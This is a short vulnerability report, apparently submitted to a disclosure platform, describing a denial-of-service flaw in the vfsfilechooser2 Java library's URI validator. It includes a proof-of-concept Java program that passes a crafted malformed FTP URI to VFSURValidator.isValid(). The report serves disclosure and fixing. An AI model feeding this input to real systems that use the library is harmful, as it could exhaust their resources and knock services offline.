Submission details:

Package Manager: maven Affected module: vfsfilechooser2 Link to published package: <https://github.com/fracpete/vfsfilechooser2> Link to GitHub repo: <https://github.com/fracpete/vfsfilechooser2> Other vulnerability type: Severity level: High Module Description: vfsfilechooser2 is a mavenized fork of the dormant vfsfilechooser project on sf.net

Vulnerability Description:

It allows cause a denial of service when validating crafted invalid uris.

Steps to reproduce:

```
import com.googlecode.vfsjfilechooser2.utils.VFSURValidator;

public class Main {
    public static void main(String[] args) {
        VFSURValidator v = new VFSURValidator();
        String _uri = "ftp://@:::@:::@:::@:::@:::@:::@:::@:::@:::@:::@:::@:::@:::@:::@:::@:::@:::@:::@:::@::@@";
        System.out.println(v.isValid(_uri));
    }
}
```

You can execute `./PoC/Demovfsjfilechooser2/src/com/company/Main.java`

Did I contact the maintainer: Yes Did I open an issue: Yes
